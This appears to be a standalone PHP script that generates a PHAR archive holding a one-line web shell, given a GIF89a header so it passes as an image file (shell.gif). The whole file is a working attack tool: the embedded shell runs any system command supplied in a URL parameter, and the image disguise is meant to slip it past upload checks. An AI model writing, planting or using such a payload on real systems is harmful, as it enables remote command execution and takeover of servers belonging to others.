<?php
@unlink('/tmp/shell.phar');
$phar = new Phar('/tmp/shell.phar');
$phar->startBuffering();
$phar->addFromString('x', '<?php system($_GET["c"]);?>');
$phar->setStub("GIF89a<?php __HALT_COMPILER();");
$phar->stopBuffering();
copy('/tmp/shell.phar', '/tmp/shell.gif');
echo "Created\n";
?>